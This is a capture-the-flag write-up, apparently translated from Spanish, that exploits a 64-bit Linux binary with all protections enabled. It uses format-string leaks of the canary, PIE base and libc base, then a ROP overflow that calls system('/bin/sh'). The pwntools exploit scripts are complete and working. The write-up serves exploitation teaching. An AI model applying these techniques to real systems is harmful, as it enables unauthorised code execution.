In this pwn post we are going to face a linux binary with all the active protections. In this binary we find a format string and a buffer overflow, the first will serve us to ‘leak’ the necessary addresses to bypassear the protections and the second will serve us to take control of the process.
Protections
In case you have any doubts about what each protection does, I’ll give you a brief summary:
- NX: The NX (do not execute) bit is a technology used in CPUs that guarantees that certain memory areas (such as the stack and heap) are not executable, and others, such as the code section, cannot be written. It basically prevents us from using simpler techniques as we did in this post where we wrote a shellcode in the stack and then executed it.
- ASLR: basically randomizes the base of the libraries (libc) so that we can’t know the memory address of functions of the libc. The ASLR avoids the technique Ret2libc and forces us to have to leak addresses of the same in order to calculate base.
- PIE: this technique, like the ASLR, randomizes the base address but in this case it is from the binary itself. This makes it difficult for us to use gadgets or functions of the binary.
- Canario: Normally, a random value is generated at program initialization, and inserted at the end of the high risk area where the stack overflows, at the end of the function, it is checked whether the canary value has been modified.
Analysis
The binary is a 64-bit ELF: B0f.
$ file b0f b0f: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped $ checksec b0f [*] '/root/B0f/b0f' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ ./b0f Enter name : Iron Hello Iron Enter sentence : AAAA
As you can see, all the protections are active. We open it with IDA and after cleaning the pseudo-C we get:
int main(int argc, const char **argv) { char s[8]; printf("Enter name : "); fgets(s, 16, stdin); puts("Hello"); printf(s, 16); printf("Enter sentence : "); fgets(s, 256, stdin); return 0; }
With GDB we see that after fgets the canary is checked:
0x000000000000081a <+160>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000000081e <+164>: xor rcx,QWORD PTR fs:0x28 0x0000000000000827 <+173>: je 0x82e <main+180> 0x0000000000000829 <+175>: call 0x630 <__stack_chk_fail@plt>
Despite having all the active protections, this challenge does not seem very complex.
As soon as we read the code C we see a Format String in the line printf(s, 16); and an overflow buffer in fgets(s, 256, stdin);.
The format string is only 16 bytes but can be used to bypass the canary, the PIE and the ASLR.
Leaks
As they are only 16 bytes we cannot, in a single execution, see all the possible outputs of format string so we do a fuzzer:
#!/usr/bin/env python from pwn import * e = ELF("./b0f") for i in range(20): io = e.process(level="error") io.sendline("AAAA %%%d$lx" % i) io.recvline() print("%d - %s" % (i, io.recvline().strip())) io.close()
In the eighth output we see the 4 As we have introduced (0x41414141) then we could ‘overwrite’ memory addresses, outputs starting with 0x7f correspond to libc memory addresses then we can read to calculate its offset (ASLR), outputs such as 1 and 12 may be useful to calculate PIE offset and outputs 11 and 19 appear to be the canary.
LIBC Leak
Using gdb we are going to read a libc address (%2$lx) and look for the offset of that output:
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %2$lx Hello 7ffff7fa28c0 Enter sentence : ^C Program received signal SIGINT, Interrupt. gdb-peda$ vmmap Start End Perm Name [...] 0x00007ffff7de5000 0x00007ffff7e07000 r--p /usr/lib/x86_64-linux-gnu/libc-2.28.so [...] gdb-peda$ p/x 0x07ffff7fa28c0 - 0x00007ffff7de5000 $1 = 0x1bd8c0
As you can see we are able to leak an address from LIBC and we will only have to subtract 0x1bd8c0 to get its base address.
0x07ffff7fa28c0 – 0x07ffff7de5000 = 0x1bd8c0
Canary Leak
To calculate if the canary corresponds with the output 11 or 19 of format string we can use gdb again. Just enter %11$lx or %19$lx and check, with breakpoint, the value of canary that is stored in RCX. If it coincides with one of the two, we will be able to read the canary easily.
gdb-peda$ b * 0x000055555555481e Breakpoint 1 at 0x55555555481e gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %11$lx Hello 653e968ff57a9a00 Enter sentence : A Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p $rcx $1 = 0x653e968ff57a9a00
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %19$lx Hello 9fc6f16c66e05032 Enter sentence : A Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p $rcx $2 = 0xb880af3b86db6000
Perfect! At exit 11 we get the value of the canary.
Binary Base Leak (PIE)
To be able to execute arbitrary code we will need instructions from the binary itself, being the PIE active we need to read it as well.
Let’s use GDB and try with output 12:
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %12$lx Hello 555555554830 Enter sentence : ^C Program received signal SIGINT, Interrupt. gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555555000 r-xp /root/B0f/b0f [...] gdb-peda$ p/x 0x0555555554830 - 0x0000555555554000 $2 = 0x830
As you can see it has worked, now we can calculate the base of the binary at execution time. We will only have to subtract 0x830 from the output 12 of the string format.
Padding
Now let’s calculate the padding we should use to overwrite the canary and then the return address.
gdb-peda$ pattern create 64 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' gdb-peda$ r Starting program: /root/B0f/b0f Enter name : A Hello A Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p/x $rcx $1 = 0x413b414144414128 gdb-peda$ pattern offset 0x413b414144414128 4700422384665051432 found at offset: 24
“A”*24 + CANARY + “A”*8 + PATRÓN
#!/usr/bin/env python from pwn import * e = ELF('b0f') io = e.process() context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(io) io.sendline('%11$lx') io.recvline() leak = io.recvline() canary = int(leak.strip(), 16) log.info("Canary: %s" % (hex(canary))) payload = "A"*24 + p64(canary) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH" io.sendline(payload) io.interactive()
We already know the offset to the return address, so we can control the RIP:
“A”*24 + CANARY + “A”*8 + ROP
Exploitation
With all of the above in mind we can now begin to write the exploit. The first thing is to read using the format string: %2$lx (libc), %11$lx (canary) and %12$lx (pie)..
We could do it all in one run: read and execute system(‘/bin/sh’) but for the string format we only have 16 bytes.
len(“%2$lx-%11$lx-%12$lx”) = 19
But this is not a bit of a problem, it is solved by calling main after the first leak..
The exploit stays that way:
– Leak 1: PIE and Canario
– Payload 1: “A “*24 + Canary + “A “*8 + main()
– Leak 2: LIBC
– Payload 2: “A “*24 + Canary + “A “*8 + system(“/bin/sh”)
Being in a system of 64 bits, the way to call to pass arguments to the functions (system in this case) is with the register RDI.
We need: Gadget POP RDI + ARG_1 + FUNCTION
$ ROPgadget --binary b0f | grep "pop rdi" 0x0000000000000893 : pop rdi ; ret
#!/usr/bin/env python from pwn import * e = ELF('b0f') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) io = e.process() # context.terminal = ['tmux', 'splitw', '-h'] # gdb.attach(io) io.sendline('%12$lx-%11$lx') # PIE & CANARY io.recvline() leak = io.recvline() pie = int(leak.strip().split('-')[0], 16) - 0x830 # 0x2139260 canary = int(leak.strip().split('-')[1], 16) log.info("Pie: %s" % hex(pie)) log.info("Canary: %s" % hex(canary)) payload = flat( "A"*24, canary, "A"*8, pie + e.sym['main'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.sendline('%2$lx') # libc io.recvline() leak = io.recvline() libc.address = int(leak.strip(), 16) - 0x1bd8c0 log.info("Libc: %s" % hex(libc.address)) payload = flat( "A"*24, canary, "A"*8, pie + 0x0893, # 0x0000000000000893 : pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.interactive()
*We don’t have to use the PIE Leak, we can use a pop rdi; ret gadget from LIBC.
#!/usr/bin/env python from pwn import * e = ELF('b0f') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) io = e.process() io.sendline('%2$lx-%11$lx') io.recvline() leak = io.recvline() libc.address = int(leak.strip().split('-')[0], 16) - 0x1bd8c0 canary = int(leak.strip().split('-')[1], 16) log.info("Libc: %s" % hex(libc.address)) log.info("Canary: %s" % hex(canary)) payload = flat( "A"*24, canary, "A"*8, libc.address + 0x0000000000023a5f, # pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.interactive()
oLA Soy SusCriptor like y comentario
That’s a beautiful exploit. Great Explanation as well.
From where I can get the binary ?
+1